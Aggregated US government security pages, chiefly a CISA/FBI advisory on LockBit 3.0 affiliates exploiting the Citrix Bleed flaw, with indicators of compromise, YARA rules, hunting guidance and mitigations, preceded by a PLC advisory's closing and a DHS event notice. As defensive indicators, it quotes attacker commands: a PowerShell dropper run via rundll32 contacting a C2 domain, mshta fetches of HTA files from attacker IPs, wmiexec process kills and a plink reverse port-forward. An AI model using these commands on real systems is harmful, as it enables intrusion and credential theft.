  • If you require remote access, implement a firewall and/or virtual private network (VPN) in front of the PLC to control network access. A VPN or gateway device can enable multifactor authentication for remote access even if the PLC does not support multifactor authentication.
  • Create strong backups of the logic and configurations of PLCs to enable fast recovery. Familiarize yourself with factory resets and backup deployment as preparation in the event of ransomware activity.
  • Keep your Unitronics and other PLC devices updated with the latest versions by the manufacturer.
  • Confirm third-party vendors are applying the above recommended countermeasures to mitigate exposure of these devices and all installed equipment.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the impact and risk of compromise by cyber threat actors:

  • Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing to help organizations reduce exposure to threats via mitigating attack vectors. CISA Cyber Hygiene services can help provide additional review of organizations’ internet-accessible assets. Email vulnerability@cisa.dhs.gov with the subject line, “Requesting Cyber Hygiene Services” to get started.

Device Manufacturers

Although critical infrastructure organizations using Unitronics (including rebranded Unitronics) PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products that are secure by design and default. The authoring agencies urge device manufacturers to take ownership of the security outcomes of their customers by following the principles in the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software, primarily:

  • Do not charge extra for basic security features needed to operate the product securely.
  • Support multifactor authentication, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design and Default webpage and joint guide.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 2).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

REPORTING

All organizations should report suspicious or criminal activity related to information in this CSA to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or IC3.gov. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov.

Additionally, the WaterISAC encourages members to share information by emailing analyst@waterisac.org, calling 866-H2O-ISAC, or using the online incident reporting form. State, local, tribal, and territorial governments should report incidents to the MS-ISAC (SOC@cisecurity.org or 866-787-4722).

REFERENCES

  1. CBS News: Municipal Water Authority of Aliquippa hacked by Iranian-backed cyber group
  2. Industrial Cyber: Digital Battlegrounds – Evolving Hybrid Kinetic Warfare
  3. Bleeping Computer: Israel’s Largest Oil Refinery Website Offline After DDoS Attack
  4. Dark Reading: Website of Israeli Oil Refinery Taken Offline by Pro-Iranian Attackers
  5. X: @CyberAveng3rs

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.

VERSION HISTORY

December 1, 2023: Initial version.

2024 AEP Info Session #5

Source: US Department of Homeland Security

The Department of Homeland Security (DHS) and Office of the Director of National Intelligence (ODNI) invite you to attend an upcoming 2024 Public-Private Analytic Exchange Program (AEP) Virtual Info Session.

The AEP is sponsored by the DHS Office of Intelligence and Analysis (I&A), on behalf of ODNI. DHS I&A Private Sector Engagement facilitates collaborative partnerships between members of the private sector and experienced U.S. government analysts to form several teams to address national security and homeland security issues. Participants work to create UNCLASSIFIED joint analytic deliverables of interest to both the private sector and the U.S. government. You must be a U.S. Citizen to participate.

The info session will include a detailed overview of the AEP, importance of the program, relationships built between the public and private sector, and how to apply for the 2024 AEP. You will hear former AEP participants share their experience. We encourage everyone to come with questions for discussion, as the AEP staff looks forward to socializing the program with you.

Session #5: Thursday, December 14, 2023, 12:00 pm to 12:45 pm ET. Register here.

If you are unable to attend this last session, the AEP staff will happily answer any questions about the program. You can contact the AEP Staff at AEP@hq.dhs.gov.

We are excited to promote this incredible program. We invite partners to ask questions during the call. Please share this announcement with colleagues across the public and private sector. We hope you can join!

For more information, check out our website

#StopRansomware: LockBit 3.0 Ransomware Affiliates Exploit CVE 2023-4966 Citrix Bleed Vulnerability

Source: US Department of Homeland Security

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), Multi-State Information Sharing & Analysis Center (MS-ISAC), and Australian Signals Directorate’s Australian Cyber Security Center (ASD’s ACSC) are releasing this joint Cybersecurity Advisory (CSA) to disseminate IOCs, TTPs, and detection methods associated with LockBit 3.0 ransomware exploiting CVE-2023-4966, labeled Citrix Bleed, affecting Citrix NetScaler web application delivery control (ADC) and NetScaler Gateway appliances.

This CSA provides TTPs and IOCs obtained from FBI, ACSC, and voluntarily shared by Boeing. Boeing observed LockBit 3.0 affiliates exploiting CVE-2023-4966, to obtain initial access to Boeing Distribution Inc., its parts and distribution business that maintains a separate environment. Other trusted third parties have observed similar activity impacting their organization.

Historically, LockBit 3.0 affiliates have conducted attacks against organizations of varying sizes across multiple critical infrastructure sectors, including education, energy, financial services, food and agriculture, government and emergency services, healthcare, manufacturing, and transportation. Observed TTPs for LockBit ransomware attacks can vary significantly in observed TTPs.

Citrix Bleed, known to be leveraged by LockBit 3.0 affiliates, allows threat actors to bypass password requirements and multifactor authentication (MFA), leading to successful session hijacking of legitimate user sessions on Citrix NetScaler web application delivery control (ADC) and Gateway appliances. Through the takeover of legitimate user sessions, malicious actors acquire elevated permissions to harvest credentials, move laterally, and access data and resources.

CISA and the authoring organizations strongly encourage network administrators to apply the mitigations found in this CSA, which include isolating NetScaler ADC and Gateway appliances and applying necessary software updates through the Citrix Knowledge Center.

The authoring organizations encourage network defenders to hunt for malicious activity on their networks using the detection methods and IOCs within this CSA. If a potential compromise is detected, organizations should apply the incident response recommendations. If no compromise is detected, organizations should immediately apply patches made publicly available.

Download the PDF version of this report:

For the Malware Analysis Report (MAR), see: MAR-10478915-1.v1 Citrix Bleed

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool

CVE-2023-4966

CVE-2023-4966 is a software vulnerability found in Citrix NetScaler ADC and NetScaler Gateway appliances with exploitation activity identified as early as August 2023. This vulnerability provides threat actors, including LockBit 3.0 ransomware affiliates, the capability to bypass MFA [T1556.006] and hijack legitimate user sessions [T1563].

After acquiring access to valid cookies, LockBit 3.0 affiliates establish an authenticated session within the NetScaler appliance without a username, password, or access to MFA tokens [T1539]. Affiliates acquire this by sending an HTTP GET request with a crafted HTTP Host header, leading to a vulnerable appliance returning system memory information [T1082]. The information obtained through this exploit contains a valid NetScaler AAA session cookie.

Citrix publicly disclosed CVE-2023-4966 on Oct. 10, 2023, within their Citrix Security Bulletin, which issued guidance, and detailed the affected products, IOCs, and recommendations. Based on widely available public exploits and evidence of active exploitation, CISA added this vulnerability to the Known Exploited Vulnerabilities (KEVs) Catalog. This critical vulnerability exploit impacts the following software versions [1]:

  • NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50
  • NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15
  • NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19
  • NetScaler ADC and NetScaler Gateway version 12.1 (EOL)
  • NetScaler ADC 13.1FIPS before 13.1-37.163
  • NetScaler ADC 12.1-FIPS before 12.1-55.300
  • NetScaler ADC 12.1-NDcPP before 12.1-55.300

Due to the ease of exploitation, CISA and the authoring organizations expect to see widespread exploitation of the Citrix vulnerability in unpatched software services throughout both private and public networks.

Threat Actor Activity

Malware identified in this campaign is generated beginning with the execution of a PowerShell script (123.ps1) which concatenates two base64 strings together, converts them to bytes, and writes them to the designated file path.

$y = “TVqQAAMA…

$x = “RyEHABFQ…

$filePath = “C:UsersPublicadobelib.dll”

$fileBytes = [System.Convert]::FromBase64String($y + $x)

[System.IO.File]::WriteAllBytes($filePath, $fileBytes)

The resulting file (adobelib.dll) is then executed by the PowerShell script using rundll32.

rundll32 C:UsersPublicadobelib.dll,main <104 hex char key>

The Dynamic Link Library (DLL) will not execute correctly without the 104 hex character key. Following execution, the DLL attempts to send a POST request to https://adobe-us-updatefiles[.]digital/index.php which resolves to IP addresses 172.67.129[.]176 and 104.21.1[.]180 as of November 16, 2023. Although adobelib.dll and the adobe-us-updatefiles[.]digital have the appearance of legitimacy, the file and domain have no association with legitimate Adobe software and no identified interaction with the software.

Other observed activities include the use of a variety of TTPs commonly associated with ransomware activity. For example, LockBit 3.0 affiliates have been observed using AnyDesk and Splashtop remote management and monitoring (RMM), Batch and PowerShell scripts, the execution of HTA files using the Windows native utility mshta.exe and other common software tools typically associated with ransomware incidents.

INDICATORS OF COMPROMISE (IOCS)

See Table 1–Table 5 for IOCs related to Lockbit 3.0 affiliate exploitation of CVE-2023-4966.

[Fidelity] Legend:

  • High = Indicator is unique or highly indicates LockBit in an environment.
  • Medium = Indicator was used by LockBit but is used outside of LockBit activity, albeit rarely.
  • Low = Indicates tools that are commonly used but were used by LockBit.

Low confidence indicators may not be related to ransomware.

Table 1: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator

Type

Fidelity

Description

192.229.221[.]95

IP

Low

Mag.dll calls out to this IP address. Ties back to dns0.org. Should run this DLL in a sandbox, when possible, to confirm C2. IP is shared hosting.

123.ps1

PowerShell script

High

Creates and executes payload via script.

193.201.9[.]224

IP

High

FTP to Russian geolocated IP from compromised system

62.233.50[.]25

IP

High

Russian geolocated IP from compromised system

Hxxp://62.233.50[.]25/en-us/docs.html

Hxxp://62.233.50[.]25/en-us/test.html

51.91.79[.].17

IP

Med

Temp.sh IP

Teamviewer

Tool (Remote Admin)

Low

70.37.82[.]20

IP

Low

IP was seen from a known compromised account reaching out to an Altera IP address. LockBit is known to leverage Altera, a remote admin tool, such as Anydesk, team viewer, etc.

185.17.40[.]178

IP

Low

Teamviewer C2, ties back to a polish service provider, Artnet Sp. Zo.o. Polish IP address

Table 2: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator

Type

Fidelity

Description

185.229.191.41

Anydesk Usage

High

Anydesk C2

81.19.135[.]219

IP

High

Russian geolocated IP hxxp://81.19.135[.]219/F8PtZ87fE8dJWqe.hta

Hxxp://81.19.135[.]219:443/q0X5wzEh6P7.hta

45.129.137[.]233

IP

Medium

Callouts from known compromised device beginning during the compromised window.

185.229.191[.]41

Anydesk Usage

High

Anydesk C2

Plink.exe

Command interpreter

High

Plink (PuTTY Link) is a command-line connection tool, similar to UNIX SSH. It is mostly used for automated operations, such as making CVS access a repository on a remote server. Plink can be used to automate SSH actions and for remote SSH tunneling on Windows.

AnyDeskMSI.exe

Remote admin tool

High

We do see that AnyDeskMSI.exe was installed as a service with “auto start” abilities for persistence. Config file from the image could be leveraged to find the ID and Connection IP, but we do not have that currently.

SRUtility.exe

Splashtop utility

9b6b722ba4a691a2fe21747cd5b8a2d18811a173413d4934949047e04e40b30a

Netscan exe

Network scanning software

High

498ba0afa5d3b390f852af66bd6e763945bf9b6bff2087015ed8612a18372155

Table 3: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator

Type

Fidelity

Description

Scheduled task:

MEGAMEGAcmd

Persistence

High

Scheduled task:

UpdateAdobeTask

Persistence

High

Mag.dll

Persistence

High

Identified as running within UpdateAdobeTask cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63

123.ps1

Script

High

Creates rundll32 C:UsersPublicadobelib.dll,main ed5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44

Adobelib.dll

Persistence

Low

C2 from adobelib.dll.

Adobe-us-updatefiles[.]digital

Tool Download

High

Used to download obfuscated toolsets

172.67.129[.]176

Tool Download

High

IP of adobe-us-updatefiles[.]digital

104.21.1[.]180

Tool Download

High

Adobe-us-updatefiles[.]digital

cmd.exe /q /c cd 1> \127.0.0.1admin$__1698617793[.]44 2>&1

Command

High

wmiexec.exe usage

cmd.exe /q /c cd 1> \127.0.0.1admin$__1698617793[.]44 2>&1

Command

High

wmiexec.exe usage

cmd.exe /q /c query user 1> \127.0.0.1admin$__1698617793[.]44 2>&1

Command

High

wmiexec.exe usage

cmd.exe /q /c taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe /im sqlwb.exe /im sqltob.exe /im sqlservr.exe /im sqlserver.exe /im sqlscan.exe /im sqlbrowser.exe /im sqlrep.exe /im sqlmangr.exe /im sqlexp3.exe /im sqlexp2.exe /im sqlex

Command

High

wmiexec.exe usage

cmd.exe /q /c cd 1> \127.0.0.1admin$__1698618133[.]54 2>&1

Command

High

wmiexec.exe usage

cmd.exe /q /c cd 1> \127.0.0.1admin$__1698618203[.]51 2>&1

Command

High

The authoring organizations recommended monitoring/reviewing traffic to the 81.19.135[.]* class C network and review for MSHTA being called with HTTP arguments [3].

Table 4: LockBit 3.0 Affiliate Citrix Bleed Campaign

Indicator

Type

Fidelity

Description

Notes

81.19.135[.]219

IP

High

Russian geolocated IP used by user to request mshta with http arguments to download random named HTA file named q0X5wzzEh6P7.hta

81.19.135[.]220

IP

High

Russian geolocated IP, seen outbound in logs

IP registered to a South African Company

81.19.135[.]226

IP

High

Russian geolocated IP, seen outbound in logs

IP registered to a South African Company

Table 5: Citrix Bleed Indicators of Compromise (IOCs)

Type

Indicator

Description

Filename

c:usersdownloadsprocess hacker 2peview.exe

Process hacker

Filename

c:usersmusicprocess hacker 2processhacker.exe

Process hacker

Filename

psexesvc.exe

Psexec service excutable

Filename

c:perflogsprocesshacker.exe

Process hacker

Filename

c:windowstempscreenconnect23.8.5.8707filesprocesshacker.exe

Process hacker transferred via screenconnect

Filename

c:perflogslsass.dmp

Lsass dump

Filename

c:usersdownloadsmimikatz.exe

Mimikatz

Filename

c:usersdesktopproc64proc.exe

Procdump

Filename

c:usersdocumentsveeam-get-creds.ps1

Decrypt veeam creds

Filename

secretsdump.py

Impacket installed on azure vm

Cmdline

secretsdump.py /@ -outputfile 1

Impacket installed on azure vm

Filename

ad.ps1

Adrecon found in powershell transcripts

Filename

c:perflogs64-bitnetscan.exe

Softperfect netscan

Filename

tniwinagent.exe

Total network inventory agent

Filename

psexec.exe

Psexec used to deploy screenconnect

Filename

7z.exe

Used to compress files

Tool

Action1

RMM

Tool

Atera

RMM

tool

anydesk

rmm

tool

fixme it

rmm

tool

screenconnect

rmm

tool

splashtop

rmm

tool

zoho assist

rmm

ipv4

101.97.36[.]61

zoho assist

ipv4

168.100.9[.]137

ssh portforwarding infra

ipv4

185.20.209[.]127

zoho assist

ipv4

185.230.212[.]83

zoho assist

ipv4

206.188.197[.]22

powershell reverse shell seen in powershell logging

ipv4

54.84.248[.]205

fixme ip

Ipv4

141.98.9[.]137

Remote IP for CitrixBleed

domain

assist.zoho.eu

zoho assist

filename

c:perflogs1.exe

connectwise renamed

filename

c:perflogsrun.exe

screenconnect pushed by psexec

filename

c:perflogs64-bitm.exe

connectwise renamed

filename

c:perflogs64-bitm0.exe

connectwise renamed

filename

c:perflogsza_access_my_department.exe

zoho remote assist

filename

c:usersmusicza_access_my_department.exe

zoho remote assist

filename

c:windowsservicehost.exe

plink renamed

filename

c:windowssysconf.bat

runs servicehost.exe (plink) command

filename

c:windowstempscreenconnect23.8.5.8707filesazure.msi

zoho remote assist used to transfer data via screenconnect

cmdline

echo enter | c:windowsservicehost.exe -ssh -r 8085:127.0.0.1:8085 @168.100.9[.]137 -pw

plink port forwarding

domain

eu1-dms.zoho[.]eu

zoho assist

domain

fixme[.]it

fixme it

domain

unattended.techninline[.]net

fixme it

MITRE ATT&CK Tactics and Techniques

See Table 6 and Table 7 for all referenced threat actor tactics and techniques in this advisory.

Table 6: ATT&CK Techniques for Enterprise: Discovery

Technique Title

ID

Use

System Information Discovery

T1082

Threat actors will attempt to obtain information about the operating system and hardware, including versions, and patches.

Table 7: ATT&CK Techniques for Enterprise: Credential Access

Technique Title

ID

Use

Modify Authentication Process: Multifactor Authentication

T1556.006

Threat actors leverage vulnerabilities found within CVE- to compromise, modify, and/or bypass multifactor authentication to hijack user sessions, harvest credentials, and move laterally, which enables persistent access.

Steal Web Session Cookie

T1539

Threat actors with access to valid cookies can establish an authenticated session within the NetScaler appliance without a username, password, or access to multifactor authentication (MFA) tokens.

DETECTION METHODS

Hunting Guidance

Network defenders should prioritize observing users in session when hunting for network anomalies. This will aid the hunt for suspicious activity such as installing tools on the system (e.g., putty, rClone ), new account creation, log item failure, or running commands such as hostname, quser, whoami, net, and taskkill. Rotating credentials for identities provisioned for accessing resources via a vulnerable NetScaler ADC or Gateway appliance can also aid in detection.

For IP addresses:

  • Identify if NetScaler logs the change in IP.
  • Identify if users are logging in from geolocations uncommon for your organization’s user base.
  • If logging VPN authentication, identify if users are associated with two or more public IP addresses while in a different subnet or geographically dispersed.

Note: MFA to NetScaler will not operate as intended due to the attacker bypassing authentication by providing a token/session for an already authenticated user.

The following procedures can help identify potential exploitation of CVE-2023-4966 and LockBit 3.0 activity:

  • Search for filenames that contain tf0gYx2YI for identifying LockBit encrypted files.
  • LockBit 3.0 actors were seen using the C:Temp directory for loading and the execution of files.
  • Investigate requests to the HTTP/S endpoint from WAF.
  • Hunt for suspicious login patterns from NetScaler logs
  • Hunt for suspicious virtual desktop agent Windows Registry keys
  • Analyze memory core dump files.

Below, are CISA developed YARA rules and an open-source rule that may be used to detect malicious activity in the Citrix NetScaler ADC and Gateway software environment. For more information on detecting suspicious activity within NetScaler logs or additional resources, visit CISA’s Malware Analysis Report (MAR) MAR-10478915-1.v1 Citrix Bleed or the resource section of this CSA [2]:

YARA Rules

CISA received four files for analysis that show files being used to save registry hives, dump the Local Security Authority Subsystem Service (LSASS) process memory to disk, and attempt to establish sessions via Windows Remote Management (WinRM). The files include:

  • Windows Batch file (.bat)
  • Windows Executable (.exe)
  • Windows Dynamic Link Library (.dll)
  • Python Script (.py)

rule CISA_10478915_01 : trojan installs_other_components

{

meta:

author = “CISA Code & Media Analysis”

incident = “10478915”

date = “2023-11-06”

last_modified = “20231108_1500”

actor = “n/a”

family = “n/a”

capabilities = “installs-other-components”

malware_Type = “trojan”

tool_type = “information-gathering”

description = “Detects trojan .bat samples”

sha256 = “98e79f95cf8de8ace88bf223421db5dce303b112152d66ffdf27ebdfcdf967e9”

strings:

$s1 = { 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 61 73 6b 73 5c 7a 2e 74 78 74 }

$s2 = { 72 65 67 20 73 61 76 65 20 68 6b 6c 6d 5c 73 79 73 74 65 6d 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 61 73 6b 73

5c 65 6d }

$s3 = { 6d 61 6b 65 63 61 62 20 63 3a 5c 75 73 65 72 73 5c 70 75 62 6c 69 63 5c 61 2e 70 6e 67 20 63 3a 5c 77 69 6e 64

6f 77 73 5c 74 61 73 6b 73 5c 61 2e 63 61 62 }

condition:

all of them

}

This file is a Windows batch file called a.bat that is used to execute the file called a.exe with the file called a.dll as an argument. The output is printed to a file named ‘z.txt’ located in the path C:WindowsTasks. Next, a.bat pings the loop back internet protocol (IP) address 127.0.0[.]1 three times.

The next command it runs is reg save to save the HKLMSYSTEM registry hive into the C:Windowstasksem directory. Again, a.bat pings the loop back address 127.0.0[.]1 one time before executing another reg save command and saves the HKLMSAM registry hive into the C:WindowsTaskam directory. Next, a.bat runs three makecab commands to create three cabinet (.cab) files from the previously mentioned saved registry hives and one file named C:UsersPublica.png. The names of the .cab files are as follows:

  • c:windowstasksem.cab
  • c:windowstasksam.cab
  • c:windowstasksa.cab

rule CISA_10478915_02 : trojan installs_other_components

{

meta:

author = “CISA Code & Media Analysis”

incident = “10478915”

date = “2023-11-06”

last_modified = “20231108_1500”

actor = “n/a”

family = “n/a”

capabilities = “installs-other-components”

malware_type = “trojan”

tool_type = “unknown”

description = “Detects trojan PE32 samples”

sha256 = “e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068”

strings:

$s1 = { 57 72 69 74 65 46 69 6c 65 }

$s2 = { 41 70 70 50 6f 6c 69 63 79 47 65 74 50 72 6f 63 65 73 73 54 65 72 6d 69 6e 61 74 69 6f 6e 4d 65 74 68 6f 64 }

$s3 = { 6f 70 65 72 61 74 6f 72 20 63 6f 5f 61 77 61 69 74 }

$s4 = { 43 6f 6d 70 6c 65 74 65 20 4f 62 6a 65 63 74 20 4c 6f 63 61 74 6f 72 }

$s5 = { 64 65 6c 65 74 65 5b 5d }

$s6 = { 4e 41 4e 28 49 4e 44 29 }

condition:

uint16(0) == 0x5a4d and pe.imphash() == “6e8ca501c45a9b85fff2378cffaa24b2” and pe.size_of_code == 84480 and all of

them

}

This file is a 64-bit Windows command-line executable called a.exe that is executed by a.bat. This file issues the remote procedure call (RPC) ncalrpc:[lsasspirpc] to the RPC end point to provide a file path to the LSASS on the infected machine. Once the file path is returned, the malware loads the accompanying DLL file called a.dll into the running LSASS process. If the DLL is correctly loaded, then the malware outputs the message “[*]success” in the console.

rule CISA_10478915_03 : trojan steals_authentication_credentials credential_exploitation

{

meta:

author = “CISA Code & Media Analysis”

incident = “10478915”

date = “2023-11-06”

last_modified = “20231108_1500”

actor = “n/a”

family = “n/a”

capabilities = “steals-authentication-credentials”

malware_type = “trojan”

tool_type = “credential-exploitation”

description = “Detects trojan DLL samples”

sha256 = “17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994”

strings:

$s1 = { 64 65 6c 65 74 65 }

$s2 = { 3c 2f 74 72 75 73 74 49 6e 66 6f 3e }

$s3 = { 42 61 73 65 20 43 6c 61 73 73 20 44 65 73 63 72 69 70 74 6f 72 20 61 74 20 28 }

$s4 = { 49 6e 69 74 69 61 6c 69 7a 65 43 72 69 74 69 63 61 6c 53 65 63 74 69 6f 6e 45 78 }

$s5 = { 46 69 6e 64 46 69 72 73 74 46 69 6c 65 45 78 57 }

$s6 = { 47 65 74 54 69 63 6b 43 6f 75 6e 74 }

condition:

uint16(0) == 0x5a4d and pe.subsystem == pe.SUBSYSTEM_WINDOWS_CUI and pe.size_of_code == 56832 and all of

them

}

This file is a 64-bit Windows DLL called a.dll that is executed by a.bat as a parameter for the file a.exe. The file a.exe loads this file into the running LSASS process on the infected machine. The file a.dll calls the Windows API CreateFileW to create a file called a.png in the path C:UsersPublic.

Next, a.dll loads DbgCore.dll then utilizes MiniDumpWriteDump function to dump LSASS process memory to disk. If successful, the dumped process memory is written to a.png. Once this is complete, the file a.bat specifies that the file a.png is used to create the cabinet file called a.cab in the path C:WindowsTasks.

rule CISA_10478915_04 : backdoor communicates_with_c2 remote_access

{

meta:

author = “CISA Code & Media Analysis”

incident = “10478915”

date = “2023-11-06”

last_modified = “20231108_1500”

actor = “n/a”

family = “n/a”

capabilities = “communicates-with-c2”

malware_type = “backdoor”

tool_type = “remote-access”

description = “Detects trojan python samples”

sha256 = “906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6”

strings:

$s1 = { 70 6f 72 74 20 3d 20 34 34 33 20 69 66 20 22 68 74 74 70 73 22 }

$s2 = { 6b 77 61 72 67 73 2e 67 65 74 28 22 68 61 73 68 70 61 73 73 77 64 22 29 3a }

$s3 = { 77 69 6e 72 6d 2e 53 65 73 73 69 6f 6e 20 62 61 73 69 63 20 65 72 72 6f 72 }

$s4 = { 57 69 6e 64 77 6f 73 63 6d 64 2e 72 75 6e 5f 63 6d 64 28 73 74 72 28 63 6d 64 29 29 }

condition:

all of them

}

This file is a Python script called a.py that attempts to leverage WinRM to establish a session. The script attempts to authenticate to the remote machine using NT LAN Manager (NTLM) if the keyword “hashpasswd” is present. If the keyword “hashpasswd” is not present, then the script attempts to authenticate using basic authentication. Once a WinRM session is established with the remote machine, the script has the ability to execute command line arguments on the remote machine. If there is no command specified, then a default command of “whoami” is run.

Open Source YARA Rule

Import "pe"

rule M_Hunting_Backdoor_FREEFIRE

{

meta: author = "Mandiant"

description = "This is a hunting rule to detect FREEFIRE samples using OP code sequences in getLastRecord method"

 md5 = "eb842a9509dece779d138d2e6b0f6949"

malware_family = "FREEFIRE"

strings: $s1 = { 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? ??

}

condition:

uint16(0) == 0x5A4D

and filesize >= 5KB

and pe.imports("mscoree.dll")

and all of them }

INCIDENT RESPONSE

Organizations are encouraged to assess Citrix software and your systems for evidence of compromise, and to hunt for malicious activity (see Additional Resources section).If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the web management software as well as installing malicious code.

If a potential compromise is detected, organizations should:

  1. Quarantine or take offline potentially affected hosts.
  2. Reimage compromised hosts.
  3. Create new account credentials.
  4. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
    • Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
  5. Report the compromise to FBI Internet Crime Complaint Center (IC3) at IC3.gov, local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government (SLTT) entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722). If outside of the US, please contact your national cyber center.

MITIGATIONS

These mitigations apply to all critical infrastructure organizations and network defenders using Citrix NetScaler ADC and Gateway software. CISA and authoring organizations recommend that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices to limit the impact of exploitation such as threat actors leveraging unpatched vulnerabilities within Citrix NetScaler appliances, which strengthens the security posture of their customers.

For more information on secure by design, see CISA’s Secure by Design and Default webpage and joint guide.

The authoring organizations of this CSA recommend organizations implement the mitigations below to improve your cybersecurity posture on the basis of the threat actor activity and to reduce the risk of compromise associated with Citrix CVE 2023-4966 and LockBit 3.0 ransomware & ransomware affiliates. These mitigations align with the Cross-Sector Cybersecurity performance goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Isolate NetScaler ADC and Gateway appliances for testing until patching is ready and deployable.
  • Secure remote access tools by:
    • Implement application controls to manage and control the execution of software, including allowlisting remote access programs. Application controls should prevent the installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
  • Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Restrict the use of PowerShell, using Group Policy, and only grant access to specific users on a case-by-case basis. Typically, only those users or administrators who manage the network or Windows operating systems (OSs) should be permitted to use PowerShell [CPG 2.E].
  • Update Windows PowerShell or PowerShell Core to the latest version and uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior to version 5.0 are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities [CPG 1.E, 2.S, 2.T].
  • Enable enhanced PowerShell logging [CPG 2.T, 2.U].
    • PowerShell logs contain valuable data, including historical OS and registry interaction and possible TTPs of a threat actor’s PowerShell use.
    • Ensure PowerShell instances, using the latest version, have module, script block, and transcription logging enabled (enhanced logging).
    • The two logs that record PowerShell activity are the PowerShell Windows Event Log and the PowerShell Operational Log. FBI and CISA recommend turning on these two Windows Event Logs with a retention period of at least 180 days. These logs should be checked on a regular basis to confirm whether the log data has been deleted or logging has been turned off. Set the storage size permitted for both logs to as large as possible.
  • Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
